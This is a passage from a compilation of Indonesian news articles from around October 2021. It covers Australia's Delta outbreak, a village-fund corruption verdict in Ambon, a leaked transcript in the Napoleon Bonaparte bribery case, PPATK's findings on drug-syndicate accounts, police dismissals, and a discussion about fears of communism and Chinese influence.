meredakan wabah varian Delta yang telah mendorong ekonomi Australia senilai 2 triliun dolar Australia (sekitar Rp20,73 kuadriliun) berada di ambang resesi kedua dalam beberapa tahun. Pihak berwenang Australia di kota-kota itu telah membuang upaya untuk meniadakan kasus infeksi virus corona dan sekarang bermaksud untuk secara bertahap mencabut pembatasan karena tingkat vaksinasi pada populasi orang dewasa dapat mencapai hingga 70, 80 dan 90 persen. Australia tetap berada pada kondisi bebas virus untuk sebagian besar waktu pada tahun ini sampai gelombang ketiga infeksi virus corona yang dipicu oleh varian Delta yang menular cepat menyebar ke wilayah tenggaranya. Namun, jumlah kasus infeksi virus corona di Australia relatif rendah, dengan sekitar 120.000 kasus dan 1.381 kematian. Kasus infeksi harian di New South Wales turun ke tingkat terendah dalam lebih dari tujuh pekan, yakni 587 kasus pada Kamis. Sementara kasus COVID-19 di Victoria naik menjadi 1.638 pada Kamis, yakni kenaikan harian tertinggi kedua untuk kasus infeksi corona di negara bagian itu. Negara-negara bagian di Australia, yang hanya memilik sangat sedikit kasus COVID-19, mengatakan mereka akan tetap menutup perbatasannya dengan NSW dan Victoria bahkan setelah tingkat vaksinasi lengkap mencapai 80 persen. Keputusan itu dibuat di tengah kekhawatiran bahwa pembukaan kembali yang tergesa-gesa nantinya akan menyulitkan sistem layanan kesehatan mereka. (sws) Sumber: Reuters

Hakim Vonis Dua Koruptor Dana Desa Galegale 2,5 Tahun Penjara

Ambon, FNN - Majelis Hakim Tindak Pidana Korupsi (Tipikor) Ambon menjatuhkan vonis 2,5 tahun penjara terhadap Salim Wally dan Mardin, dua terdakwa kasus tindak pidana korupsi Dana Desa dan Alokasi Dana Desa Galegale, Kabupaten Maluku Tengah, Maluku, tahun anggaran 2015-2016. "Menyatakan terdakwa secara sah dan meyakinkan terbukti bersalah melanggar Pasal 3 UU RI Nomor 31 Tahun 1999 sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Korupsi," kata Ketua Majelis Hakim Ronny Felix Wuisan didampingi Jenny Tulak dan Bernard Panjaitan selaku hakim anggota di Ambon, Kamis. Dalam amar putusannya, majelis hakim juga menghukum kedua terdakwa membayar denda Rp50 juta subsider tiga bulan kurungan serta uang pengganti Rp50 juta subsider satu bulan kurungan. Ada pun hal yang memberatkan terdakwa dihukum penjara karena tidak sanggup mengembalikan kerugian keuangan negara, selama menjabat sebagai kepala desa administratif Gale-Gale tahun 2015 dan 2016 tidak melibatkan saniri negeri (badan permusyawaratan desa) dalam penyusunan anggaran pendapatan belanja desa/negeri. Dalam mengelola dana desa (DD) dan alokasi dana desa (ADD), para terdakwa tidak mempedomani Permendagri Nomor 13 Tahun 2014 tentang Pedoman Keuangan Desa, dan Peraturan Bupati Maluku Tengah Nomor 19 Tahun 2016 tentang Keuangan Desa/Negeri Administratif. Para terdakwa tidak mendukung program pemerintah dalam membangun desa dengan penggunaan DD-ADD sesuai UU Nomor 06 Tahun 2014 serta Peraturan Pemerintah tentang Desa. Sedangkan yang meringankan adalah terdakwa bersikap sopan dan mengakui serta menyesali perbuatannya. Para terdakwa juga memiliki tanggungan keluarga serta belum pernah dihukum. Putusan majelis hakim lebih ringan dari tuntutan Jaksa Penuntut Umum Asmin Hamja dan Rian Lopulalan selama empat tahun penjara, denda Rp50 juta subsider satu bulan kurungan dan membayar uang pengganti sebesar Rp360 juta subsider tiga bulan kurungan. Dalam perkara ini terdapat tiga orang terdakwa, namun satu terdakwa lain atas nama Syawal Adjid diadili dalam berkas perkara yang terpisah. (sws)

CSIS: Investasi Pada Riset Mutlak untuk Wujudkan Indonesia Maju 2045

Jakarta, FNN - Alokasi anggaran yang lebih besar untuk investasi pada bidang riset dan pengembangan teknologi mutlak terwujud demi mewujudkan Indonesia maju pada 2045, kata Direktur Eksekutif CSIS Indonesia Philips J Vermonte di Jakarta, Rabu. Menurut Vermonte, anggaran lebih besar pada riset dan pengembangan teknologi merupakan faktor penting yang dapat menumbuhkan berbagai macam inovasi. “Kita harus mengembangkan ekonomi yang berbasis inovasi dan teknologi,” kata Philips saat diskusi acara peluncuran buku “Menuju Indonesia 2045” di Jakarta, Rabu. Pendapat Philips itu, yang juga jadi posisi CSIS Indonesia dalam hasil kajiannya terkait proyeksi Indonesia 2045, sejalan dengan tulisan sejarawan Paul Kennedy dalam buku “The Rise and Fall of The Great Powers” (Naik dan Jatuhnya Negara Adidaya Dunia). Dalam buku itu, Paul menemukan negara-negara dapat tumbuh jadi adidaya karena mereka membuat inovasi dan menciptakan kemajuan pada bidang teknologi. “Itu sudah prasyarat paling utama. Tidak mungkin negara jadi besar tanpa menjadi negara yang mengembangkan inovasi dan teknologi,” sebut Direktur Eksekutif CSIS Indonesia. Dalam sesi diskusi itu, Philips menyampaikan Indonesia masih memiliki banyak hal yang wajib dibenahi demi mewujudkan visi pada 2045, salah satunya meningkatkan alokasi anggaran riset. “Pengeluaran Indonesia untuk riset per 2018 hanya 0,1 persen dari PDB (Produk Domestik Bruto). Ini jumlah yang kecil sekali. Korea Selatan itu mengeluarkan 4,1 persen dari PDB-nya,” sebut Philips. Ia lanjut menyampaikan Korea Selatan dan Indonesia pada rentang 1970-an ada pada kondisi yang tidak jauh berbeda, terutama pada sektor pendapatan per kapita, tingkat kemajuan dan pendidikan. “Tapi karena mereka serius spending (mengeluarkan dana, Red) bidang riset, lompatannya luar biasa,” kata Philips. Beberapa pembicara, termasuk Gubernur Lembaga Ketahanan Nasional (Lemhannas) RI Letjen TNI (Purn) Agus Widjojo menjadikan Korea Selatan sebagai salah satu contoh negara yang sukses menggunakan “soft power” atau kekuatan non-militer dalam membangun perekonomian dan menyebarkan pengaruh ke negara lain. “Soft power” Korea Selatan itu di antaranya kultur Korean Pop atau K-Pop yang saat ini digandrungi anak-anak muda hampir seluruh negara di dunia, termasuk di Indonesia. Menurut Philips, keberhasilan K-Pop itu, yang pada akhirnya turut menumbuhkan industri lain di Korea Selatan, merupakan hasil dari riset selama bertahun-tahun. “Yang kita lihat K-Pop, tapi di belakangnya ada riset dan inovasi yang dilakukan secara terus-menerus,” sebut dia. (sws)

Transkrip Rekaman Bocor dan Perlawanan Napoleon Bonaparte Dari Penjara

ISU perseteruan di tubuh Kepolisian Republik Indonesia, bukan barang baru. Hal itu sering terjadi tidak hanya dalam penanganan kasus kelas kakap. Akan tetapi, rumors tersebut biasanya mencuat menjelang penentuan Tarunojoyo Satu – merujuk istilah atau sebutan Kapolri. Padahal, yang menentukan siapa yang menjadi calon Kapolri adalah Presiden. Dialah yang mengajukan calon ke Dewan Perwakilan Rakyat (DPR), guna menjalani uji kepatutan dan kelayakan (fit and proper test). Dia mengajukan ke DPR setelah mendapatkan rekomendasi nama calon Kapolri dari Komisi Kepolisian Nasional (Kompolnas). Sering dianggap basa-basi, namun itulah formalitas yang harus dilakukan berdasarkan Undang-undang, walaupun hanya satu calon alias calon tunggal. Setelah itu, DPR mengembalikan nama ke presiden, guna diangkat dan ditetapkan menjadi Kapolri. Jadi, yang menetapkan seseorang calon Kapolri dan kemudian menjadi Kapolri adalah Kompolnas, presiden dan DPR, bukan dukung-mendukung, apalagi intrik-intrik, kubu-kubuan di dalam tubuh institusi tersebut. Tentu, yang paling menentukan adalah presiden, karena ia butuh Kapolri yang sejalan dengan visi dan misinya. Nah, pada saat menjelang pengajuan nama ke DPR itulah terjadi dukung-mendukung di dalam internal polisi. Wajar saling dukung-mendukung, karena hal itu menyangkut demokrasi di tubuh Tribarata itu. Wajar, karena masing-masing pendukung, terutama perwira menengah dan perwira tinggi yang sedang menduduki jabatan, dan ingin menduduki jabatan strategis melakukan hal itu, ingin tetap di posisinya atau bergeser ke posisi yang lebih strategis. Yang tidak wajar adalah jika dukung-mendukung itu harus mengorbankan sosok polisi yang relatif bersih dan loyal ke institusi, bukan ke pribadi. Tidak percaya ada kubu-kubuan atau dukung-mendukung? Tidak percaya, polisi tidak solid menjelang pencalonan Listyo Sigit Prabowo? Pun juga pencalonan Kapolri sebelumnya? Coba kita baca pernyataan petinggi polisi menjelang terpilihnya Sigit. Bukankah Idham Azis, waktu itu Kapolri meminta agar anggotanya solid mendukung Komisaris Jenderal Listyo Sigit yang ditunjuk Presiden Joko Widodo sebagai calon tunggal Kapolri. Idham mengatakan, dukungan diperlukan agar soliditas dan kebersamaan di Korps Bhayangkara tetap terjaga. Anda bisa membaca makna kalimat Idham Aziz itu. Diminta solid, berarti ada riak-riak di tubuhPolri. Berarti, ada dukung-mendukung. Lebih parah lagi, terjadi kubu-kubuan, yang berujung pada sikut-menyikut jabatan. Nah, Rabu malam, 6 Oktober 2021 FNN (Forum News Nork) menerima sebuah lampiran transkrip rekaman pembicaraan tiga orang dalam kasus suap Djoko Tjandra. Inti dari transkrip sepuluh halaman itu, adanya “perseteruan” di dalam tubuh Polri, khususnya menjelang pergantian Kepala Kepolisian Republik Indonesia (Kapolri). Rekaman tersebut tertanggal 14 Oktober 2020 pukul 20.20 WIB, di rumah tahanan cabang Badan Reserse Kriminal Polri. Transkrip sepanjang 10 halaman tersebut merupakan pembicaraan antara Napoleon Bonaparte (NB), Tommy Sumardi (TS) dan Prasetijo Utomo (PU). Ketiganya adalah orang yang terlibat dalam kasus suap-menyuap red notice Djoko Tjandra. Apakah salinan transkrip pembicaraan tersebut benar, masih perlu konfirmasi dari berbagai pihak, terutama Markas Besar Polri. Akan tetapi, jika diteliti, alur percakapannya sangat rapi, dengan kode-kode tertentu. Misalnya, TS menyebutkan, “Pokoknya ada lah Bang. Titip-titiplah. Gini. Pasar Minggu juga korbanin bang.” Kemudian NB menyebutkan, “Ya, semua Kaba.” Diduga Kaba itu adalah Kepala Badan Reserse Kriminal (Kabareskrim) Polri yang waktu itu dijabat Listyo Sigit Prabowo. Saat itu, Sigit salah nama yang santer menjadi calon Kapolri bersama beberapa nama lainnya. Sigit mulai menjabat Kapolri 27 Januari 2021. Inspektur Jenderal Napoleon Bonaparte adalah mantan Kepala Divisi Hubungan Internasional Polri. Brigadir Jenderal Prasetijo Utomo, mantan Kepala Koordinator dan Pengawas Penyidik Pegawai Negeri Sipil (Kakornas PPNS) Polri. Sedangkan Tommy Sumardi adalah orang yang bertindak sebagai perantara suap dari Djoko Tjandra kepada Napoleon dan Prasetijo. Djoko Tjandra adalah penyuap dua jenderal polisi, yaitu Napoleon Bonaparte dan Prasetijo Utomo terkait pengurusan red notice kasus korupsi hak tagih Bank Bali. Dalam kasus tersebut, Napoleon divonis empat tahun penjara, Prasetijo dua tahun penjara dan Tommy Sumardi divonis 3 tahun 6 bulan penjara. Djoko Tjandra divonis 4,5 tahun penjara. Tentu semua pihak masih meraba-raba maksud beredarnya transkrip rekaman tersebut. Apakah bocornya transkrip rekaman tiga orang tersebut sengaja dilakukan oleh polisi agar kasus suap Napoleon Bonaparte semakin terang-benderang? Sebab, jika melihat isinya, waktu dan tempatnya, transkrip tersebut tidak sembarang dikeluarkan. Apalagi, transkrip tersebut keluar pada saat Napoleon mulai terang-terangan menyerang institusi yang membesarkan kariernya. Ia mulai melakukan perlawanan dari dalam tahanan terutama setelah kasus penganiayaan yang dilakukannya terhadap tersangka penista agama Islam, M. Kece terungkap ke masyarakat. Napoleon pun menulis surat terbuka. Ia telah dijadikan sebagai tersangka dalam kasus tersebut. Bersamaan dengan beredarnya transkrip rekaman pembicaraan NB, TS dan PU, Napoleon pun menulis surat terbuka terkait kasus perkara yang menjeratnya. Lewat surat terbuka itu, ia yang menyebutkan diri dengan Napo Batara mencurahkan kekesalannya. Napo Batara mengakui, selama ini sudah mengalah dan diam karena seragam institusi yang ia kenakan, dan terpaksa menerima nasib yang sudah ditentukan. “Sebenarnya, selama ini saya sudah mengalah, dalam diam karena terbelenggu oleh seragamku, untuk tutup mulut dan menerima nasib apa pun yang mereka tentukan,” tulis Napolen dalam surat terbukanya, Rabu, 6 Oktober 2021. Ada empat poin isi surat terbukanya itu. Surat terbuka itu juga diisi dengan catatan: Bukti berupa rekaman suara dan transkripnya terlampir. Apakah surat terbuka itu semata-mata bentuk kekecewaan terhadap institusinya sendiri? Ataukah hal itu merupakan perlawanan nyata guna membuka kotak pandora di tubuh Polri? Nah, akankah kasus Napoleon semakin panjang dan menjerat petinggi di Kepolisian Republik Indonesia? Kita tunggu babak selanjutnya. **

Beredar Transkrip Percakapan Napoleon, Tommy Sumardi dan Prasetijo Utomo, Isinya Perseteruan di Tubuh Polri

Jakarta, FNN- Semalam, FNN menerima sebuah lampiran transkrip rekaman pembicaraan tiga orang dalam kasus suap Djoko Tjandra. Inti dari transkrip sepuluh halaman itu adalah adanya “perseteruan” di dalam tubuh Polri, khususnya menjelang pergantian Kepala Kepolisian Republik Indonesia (Kapolri). Lebih tepatnya adalah perang bintang antara pendukung Sigit menjadi Kapolri dan pendukung saingannya. Rekaman tersebut tertanggal 14 Oktober 2020 pukul 20.20 WIB, di rumah tahanan cabang Badan Reserse Kriminal Polri. Transkirip sepanjang 10 halaman tersebut merupakan pembicaraan antara Napoleon Bonaparte (NB), Tommy Sumardi (TS) dan Prasetijo Utomo (PU). Ketiganya adalah orang yang terlibat dalam kasus suap-menyuap red notice Djoko Tjandra. Apakah salinan transkrip pembicaraan tersebut benar, masih perlu konfirmasi dari berbagai pihak, terutama Markas Besar Polri. Akan tetapi, jika diteliti, alur percakapannya sangat rapi, dengan kode-kode tertentu. Misalnya, TS menyebutkan, “Pokoknya ada lah Bang. Titip-titiplah. Gini. Pasar Minggu juga korbanin bang.” Kemudian NB menyebutkan, “Ya, semua Kaba.” Diduga Kaba itu adalah Kepala Badan Reserse Kriminal (Kabareskrim) Polri yang waktu itu dijabat Listyo Sigit Prabowo. Inspektur Jenderal Napoleon Bonaparte adalah mantan Kepala Divisi Hubungan Internasional Polri. Brigadir Jenderal Prasetijo Utomo, mantan Kepala Koordinator dan Pengawas Penyidik Pegawai Negeri Sipil (Kakornas PPNS) Polri. Sedangkan Tommy Sumardi adalah orang yang didakwa sebagai perantara suap dari Djoko Tjandra kepada Napoleon dan Prasetijo. Djoko Tjandra didakwa menyuap dua jenderal polisi, yaitu Napoleon Bonaparte dan Prasetijo Utomo terkait pengurusan red notice kasus korupsi hak tagih Bank Bali. Dalam kasus tersebut, Napoleon divonis empat tahun penjara, Prasetijo dua tahun penjara dan Tommy Sumardi divonis 3 tahun 6 bulan penjara. (MD).

Ahli Hukum Tata Negara Dukung Penguatan Kelembagaan DPD

Jakarta, FNN - Ahli Hukum Tata Negara Margarito Kamis mendukung penguatan kelembagaan Dewan Perwakilan Daerah (DPD) RI karena tiap lembaga di Kompleks Parlemen seharusnya berada pada posisi yang setara. Margarito pada sebuah acara diskusi di Jakarta, Rabu, meminta DPD RI untuk menyiapkan strategi yang sifatnya politis agar agenda penguatan itu dapat terwujud. “DPD harus mainkan kartunya, misalnya, tidak berikan DIM (daftar inventarisasi masalah) atau pendapat, maka DPR juga tidak bisa meneruskan pembahasan, karena akan cacat hukum,” kata Margarito Kamis saat berbicara pada acara Obrolan Senator (Obras). Langkah itu, menurut Margarito, dapat menjadi strategi politik yang dapat dilakukan oleh DPD RI. “Saya dukung DPD RI, karena itu DPD harus menunjukkan keangkuhannya juga. Tidak bisa nasibnya diserahkan atau berharap kebaikan hati pada orang-orang di sana. Dalam politik, tidak ada kasihan,” terang Margarito. Oleh karena itu, ia menegaskan DPD RI harus tegas dalam bersikap, misalnya membuat sistem terhambat agar ada negosiasi dan kesepakatan terkait penguatan kelembagaan DPD. “Bila ada pembahasan undang-undang di suatu daerah, jangan bahas. Mana ada politik pakai saling pengertian di awal, karena berurusan dengan kepentingan-kepentingan yang berlawanan. Itu yang dipertandingkan,” kata dia. Ia lanjut menyampaikan postur ketatanegaraan saat ini kurang seimbang, karena DPR RI masih didesain untuk memiliki kekuasaan yang lebih luas dibandingkan dengan lembaga perwakilan rakyat lainnya. “Ada lembaga tata negara, secara demokrasi yang kita desain menjadi subordinat. Dalam kata lain, ada lembaga yang full authority (punya kewenangan penuh, Red.),” kata Margarito menjelaskan hubungan DPR RI dan DPD RI. “Jadi karena itu, untuk alasan apapun ini harus diubah. Tidak bisa kita terus-menerus hidup dengan satu lembaga yang lebih besar dari lembaga lain,” dia menambahkan. Kegiatan diskusi Obrolan Senator merupakan rangkaian HUT ke-17 DPR RI yang pada tahun ini diperingati dengan mengambil tema “Amandemen dan Bikameral: Upaya Penataan untuk Mewujudkan Demokrasi Modern Berdasarkan Konstitusi Kenegaraan”. Dalam kegiatan itu, Margarito Kamis menyampaikan pandangannya terkait DPD RI bersama tokoh-tokoh lainnya, antara lain Wakil Ketua III DPD RI Sultan Baktiar Najamudin, Anggota DPD RI Tamsil Linrung, Anggota DPD RI Zulfikar Arse Sadikin, dan Pakar Hukum Tata Negara Prof. Denny Indrayana. (sws, ant)

PPATK Temukan Rp 120 Triliun Rekening Bandar Narkoba

Jakarta, FNN - Temuan rekening sebesar Rp120 triliun milik sindikat narkoba menunjukkan upaya pemberantasan peredaran barang terlarang ini harus diikuti dengan memiskinkan para bandar, kata Kepala Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK) Dian Ediana Rae. Alasannya, jika pemberantasan narkoba hanya sebatas pemidanaan para pelaku dan tidak menyasar uang milik bandar, maka industri narkoba akan tetap tumbuh, kata Dian Ediana Rae pada sesi bincang-bincang yang disiarkan oleh kanal Youtube PPATK, di Jakarta, Rabu. “Upaya untuk mengejar penjahat narkoba harus disertai dengan mengejar uangnya penjahat narkoba,” kata Dian Ediana Rae. “Kalau misalnya penjahatnya hanya dimasukkan ke penjara, tetapi uangnya tetap ada, bahkan dikendalikan, sangat mungkin (bandar) ini masih berpengaruh,” ujar dia pula. Oleh karena itu, Kepala PPATK mengajak seluruh pihak, termasuk lembaganya, aparat penegak hukum, pengadilan, termasuk Kementerian Hukum dan Hak Asasi Manusia yang membawahi lembaga permasyarakatan, harus bekerja sama memberantas narkoba sampai tuntas. Dian Ediana Rae menerangkan bisnis narkoba kerap menggunakan berbagai cara untuk menyembunyikan uangnya dari pantauan otoritas terkait. Praktik-praktik pencucian uang yang dilakukan oleh sindikat narkoba pun dinamis atau terus berubah dan berkembang tiap waktunya, kata Dian. “Misalnya, mereka memanfaatkan rekening-rekening orang yang tidak terlibat narkoba. Mereka hanya memberi uang kemudian mereka pakai,” ujar Kepala PPATK itu pula. Di samping itu, sindikat narkoba juga kerap melakukan pencucian uang dengan modus perdagangan, misalnya lewat pemakaian invoice palsu. “Ini termasuk canggih, termasuk menggunakan money changer,” kata dia lagi. Demi mengantisipasi berbagai transaksi mencurigakan, PPATK menggunakan berbagai cara, di antaranya bekerja sama dengan negara-negara lain untuk melakukan pertukaran data. Alhasil, jika ada transaksi mencurigakan, misalnya ada pemindahan dana yang tidak seimbang, maka otoritas yang mengawasi itu akan langsung memberi tanda dan memberi tahu otoritas negara lain yang menjadi tujuan transfer. Temuan PPATK terkait rekening sebesar Rp120 triliun milik sindikat narkoba jadi sorotan publik, setelah adanya rapat dengar pendapat (RDP) antara Kepala PPATK dan Komisi III DPR RI bulan lalu. “Saya berterima kasih isu itu ditanya. Kami sudah mengirim informasi itu ke lembaga terkait untuk memberi perhatian lebih serius kepada penanganan tindak pidana terkait narkoba,” kata Dian pula. (sws, ant)

Lima Polisi Polda Kalimantan Tengah Dipecat dengan Tidak Hormat

Palangka Raya, FNN - Lima polisi anggota Polda Kalimantan Tengah dipecat dengan cara tidak hormat karena diduga melakukan penyalahgunaan narkoba dan desersi alias meninggalkan kedinasannya selama 30 hari berturut-turut tanpa keterangan apalagi ijin apapun. "Saya ingatkan seluruh anggota yang ada di Polda ini, agar tidak melakukan hal serupa," kata Kepala Polda Kalimantan Tengah, Inspektur Jenderal Polisi Dedi Prasetyo, saat memimpin langsung jalannya pemecatan lima polisi yang dilaksanakan di lapangan Barigas Palangka Raya, Rabu. Upacara pemecatan secara tidak hormat ini tidak dihadiri kelima polisi itu, melainkan hanya "diwakili" wajah-wajah mereka yang dipampang di suatu spanduk yang dibentang dua provoost Polda Kalimantan Tengah. Simbolisasi pemecatan adalah pencoretan wajah-wajah mereka oleh Prasetyo di lapangan apel itu. Adapun kelima polisi yang dipecat tersebut yakni, bintara yang bertugas di Polres Kotawaringin Timur, Ajun Inspektur Polisi Satu Suwandi, karena saat dilakukan tes urine, terbukti positif mengandung zat methamphetamine dan amphetamin. Kemudian, Ajun Inspektur Polisi Dua Dony Vermanto terakhir menjabat sebagai anggota Dit Samapta Polda Kalimantan Tengah yang terbukti positif mengkonsumsi narkoba, Brigadir Polisi Kariansyah yang sebelumnya menjabat di Satuan Brimob Polda Kalimantan Tengah karena telah meninggalkan kedinasan selama 30 hari kerja secara berturut-turut. Kemudian Brigadir Polisi Gandy Setiawan. "Saudara Gandi juga terbukti melakukan tindakan desersi atau meninggalkan kedinasan selama 30 hari berturut-turut tanpa ada izin resmi dari pimpinan," tambahnya. Selanjutnya Ajun Inspektur Polisi Satu Yudo Arifianto dengan jabatan terakhir bintara unit Kompi I Batalyon B Pelopor Satbrimob Polda Kalimantan Tengah. "Yudo terpaksa kami berhentikan karena yang bersangkutan ini telah melakukan pelanggaran disiplin lebih dari tiga kali dan tidak dapat diampuni kesalahannya," kata Prasetyo. Sebelum mengakhiri sambutannya dia menyatakan kelima polisi itu sudah di-PTDH dan dari semua pelanggaran yang dilakukan mereka memang sudah tidak layak lagi menjadi polisi "Apalagi ini terkait penyalahgunaan narkoba, Polda Kalimantan Tengah pasti tidak akan memberikan toleransi sedikit pun," kata dia. (sws, ant)

Surat Terbuka Napoleon Ungkap Ada Pihak Lain Terlbat Kasus Djoko Tjandra

Jakarta, FNN - Terdakwa kasus penghapus nama Djoko S Tjandra dari daftar pencarian orang atau red notice di jaringan Interpol, Irjen Pol Napoleon Bonaparte, menulis surat terbuka terkait lanjutan perkara yang menjeratnya. Dalam surat tersebut, Napoleon yang menyebut dirinya Napo Batara mengungkapkan kekesalannya lewat surat tersebut. Napoleon mengaku selama ini sudah mengalah dan diam karena seragam institusi yang ia kenakan, dan terpaksa menerima nasib yang sudah ditentukan. "Sebenarnya selama ini saya sudah mengalah, dalam diam karena terbelenggu oleh seragamku, untuk tutup mulut dan menerima nasib apapun yang mereka tentukan," tulis Napoleon dalam surat terbuka itu yang diterima FNN, Kamis (7/10/21). Pengacara Napoleon, Ahmad Yani telah membenarkan mengenai surat dan isinya tersebut. Menurut Yani, surat itu ditulis Napoleon untuk membuktikan kliennya tidak bersalah dalam kasus dugaan menerima suap dari Djoko Tjandra. Menurut Yani, dugaan uang yang diterima Napoleon selama ini--termasuk yang diungkap dalam fakta persidangan--adalah hanya berdasarkan penuturan satu pihak yakni Tommy Sumardi. Sedangkan, kata Yani, kliennya tak diperkenankan untuk membuka rekaman yang menjadi fakta lain. Belakangan, karena polemik itu, Yani telah ditunjuk menjadi kuasa hukum Napoleon dalam laporan ke Komisi Yudisial (KY). Kepada lembaga pengawas independen itu, Napoleon melaporkan majelis hakim pengadilan Negeri Jakarta Pusat karena tak memperkenankan dirinya membuka rekaman kasus dirinya. "Ya dia kan menyatakan bahwa dia tidak bersalah. Yang, Napoleon itu hanya menyatakan terima uang, hanya berdasarkan pernyataannya Tommy Sumardi. Tidak didukung oleh saksi lain," kata Yani menjelaskan surat Napoleon. Lewat surat yang ditulis, kata Yani, Napoleon hendak mengungkap beberapa aktor baru dalam kasusnya. Di bundelan surat itu, kata dia, terdapat isi percakapan yang ditranskrip dari rekaman antara Napoleon dengan beberapa terdakwa lain, yakni Brigjen Pol Prasetyo Utama termasuk Tommy. Yani belum memperkenankan CNNIndonesia.com mengetahui isi transkrip dari rekaman tersebut. Namun, ia membenarkan rekaman percakapan itu mengungkap peran baru seseorang dari institusi kepolisian. "Ada [orang baru]. Di dalam rekaman itu Tommy S menyatakan jelas bahwa ini dalam rangka ini untuk melindungi orang, untuk jabatan," kata Yani. "Iya, di institusi kepolisian," tambahnya. Sebagai informasi, dalam kasus ini Napoleon mengajukan kasasi atas vonis empat tahun penjara dirinya dari Majelis Hakim PN Jakpus. Ia menjadi tersangka bersama mantan Kepala Biro Koordinasi dan Pengawasan PPNS Bareskrim Polri, Brigjen Prasetijo Utomo; dan pengusaha Tommy Sumardi. (CNN)

Anis Matta : Isu Kebangkitan Komunisme Indonesia, Ternyata Berkaitan dengan Hegemoni China

Jakarta, FNN - Lembaga Survei Media Survei Nasional (Median) dalam rilisnya pada Kamis (30/9/2021) lalu, mengungkapkan, bahwa 46,4 persen responden di Indonesia masih percaya soal isu kebangkitan komunisme atau Partai Komunis Indonesia (PKI). Menanggapi hal ini, Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menilai ketakutan akan kebangkitan komunisme di Indonesia seperti yang diungkap Lembaga Survei Median, ternyata tidak berhubungan dengan ideologi komunis. "Tetapi, berhubungan dengan isu lain yang lebih bersifat politik, yaitu hegemoni geopolitik China," kata Anis Matta dalam Gelora Talk bertajuk 'NKRI dan Ancaman Komunisme Dalam Dinamika Geopolitik, Membedah Survei Median September 2021 yang disiarkan secara live streaming di channel YouTube Gelora TV, Rabu (6/10/2021). Diskusi ini dihadiri Direktur Eksekutif Lembaga Survei MEDIAN Rico Marbun, Menteri BUMN Periode 2011-2014, Dahlan Iskan, Mantan Dubes RI untuk China yang juga Ketua Asosiasi Kerjasama Indonesia-China Mayjen TNI (Purn) Sudrajat, dan Pengamat Politik & Sosial Budaya Rocky Gerung. Menurut Anis Matta, hegemoni China sebenarnya berdampak biasa dan natural saja. Sebab, dalam 30 tahun terakhir, China secara aktif melakukan kampanye dan ekspansi, sehingga memungkinkan persepsi itu terbentuk. "Kalau kita melihat bahwa 46,4% dari populasi kita, percaya tentang isu ini di tengah situasi krisis global. Itu menunjukkan bahwa persepsi publik sekarang dipengaruhi oleh banyak sekali operasi politik dan media," katanya. Operasi tersebut, kata Anis Matta, dijalankan oleh kekuatan-kekuatan global yang tengah bertarung saat ini. "Ini berbarengan atau bersamaan, ketika Amerika secara resmi mendeclaire China sebagai musuh mereka. Artinya opini publik kita sekarang ini dibentuk oleh bagian dari operasi geopolitik," katanya. Namun, Anis Matta menilai ketakutan dan kecemasan publik berdasarkan hasil survei sejak 2017 hingga 2021, yang angkanya terus mengalami peningkatan terhadap hegemoni China, sebenarnya adalah hal yang positif. Jika hal itu dipandang sebagai bagian dari survival instinct (naluri bertahan hidup) seperti takut digigit ular dengan menghindar. Sehingga bisa menjadi pintu masuk untuk mengubah survival instinct publik ini menjadi energi kebangkitan di tengah konflik global sekarang. "Supaya kita tidak lagi menjadi bangsa yang lemah, menjadi korban, menjadi collateral damage ketika ada kekuatan global yang sedang bertarung dan menjadikan wilayah kita yang seharusnya berdaulat, justru menjadi medan tempur mereka," tandasnya. Sehingga perlu dirumuskan satu arah baru, satu peta jalan baru bagi Indonesia. Sebab, kondisi sekarang berbeda dengan zaman Soekarno dan Soeharto dulu yang memiliki cantolan untuk berkolaborasi. "Di awal perjalanan, kita sangat kacau, dipenuhi krisis kepada satu arah yang tidak jelas. Dunia dalam proses tatanan ulang, yang sekarang ini tidak bisa lagi dipakai, butuh satu tatanan dunia baru. Menurut saya secara geopolitik, dianggap sebagai peluang," katanya. Hal ini tentu saja menjadi momentum bagi Indonesia untuk menggunakan survival instinct publik untuk menemukan celah dalam situasi geopolitik sekarang ini. Sehingga Indonesia ikut berperan dalam menentukan tatanan dunia baru. "Karena itulah kami di Partai Gelora membuat cita-cita perjuangan menjadikan Indonesia sebagai lima besar kekuatan dunia dan tidak ingin menjadi collateral damage dari pertarungan kekuatan global," katanya. Direktur Eksekutif MEDIAN Rico Marbun mengatakan, hegemoni China di Indonesia dan mesranya hubungan kedua negara, yang menyebabkan isu kebangkitan PKI atau komunisme kerap muncul setiap tahun, khususnya pada bulan September hingga Oktober. "Cara berpikir mereka yang menganggap adanya hegemoni China di Indonesia, itu karena dianggap sama paralel dengan komunis gitu," kata Rico Marbun. Terkait hal ini, Mantan BUMN Dahlan Iskan meminta seluruh elemen bangsa Indonesia bisa move on dari masa lalu. Artinya, semua kejadian sejarah tidak lebih dari sekadar catatan lembaran kertas. "Nggak boleh terus mengenang masa lalu. Tidak boleh terus sentimen begitu. Karena kalau itu yang terjadi kita tidak akan pernah maju," katanya. Lanjutnya, temuan survei Median itu adalah tugas berat semua elemen bangsa untuk memastikan bahwa kekhawatiran terhadap kebangkitan komunisme tidak perlu lagi ada. "Berarti tugas kita masih berat sekali untuk membawa Indonesia ini maju. Apalagi lima besar di dunia, karena 46 persen umat Islam itu umumnya umat Islam katakan begitu masih berorientasi pada masa lalu yang sama sekali tak ada gunanya," tandasnya. Hal senada disampaikan pengamat politik & sosial budaya Rocky Gerung. Rocky menyebut ideologi komunisme sudah kehilangan patronnya atau pendukungnya di dunia. Ia menilai secara ideologi sebetulnya komunisme sudah selesai dalam sejarah. Namun, menurutnya, fakta membuktikan masyarakat Indonesia masih takut terhadap kebangkitan komunisme, karena adanya kecurigaan terhadap visi komunisme. "Komunisme itu kehilangan patron di dalam proyek dunia, tapi kita masih takut. Berarti ada visi di komunisme yang buat kita curiga terus," ujar Rocky Gerung Mantan Dubes RI untuk China Mayjen TNI (Purn) Sudrajat meminta pemerintah untuk lebih waspada dalam meneken kerjasama atau kolaborasi dengan pemerintah China. Terlebih baru-baru ini ada kebijakan baru yang telah diresmikan China yakni Local Currency Settlemen. Dalam kebijakan itu, untuk konteks perdagangan dengan China akan menggunakan mata uang Yuan dan Rupiah. Apalagi saat ini kerjasama Ekonomi Indonesia dan China terus meningkat. "Kalau kedekatan ekonomi ini tidak dibarengi dengan pemahaman politik antara Indonesia dengan China, ini akan terjadi ketimpangan, justru akan negatif bagi kita," ungkap Sudrajat. (sws)

Nero dan Ibukota Baru

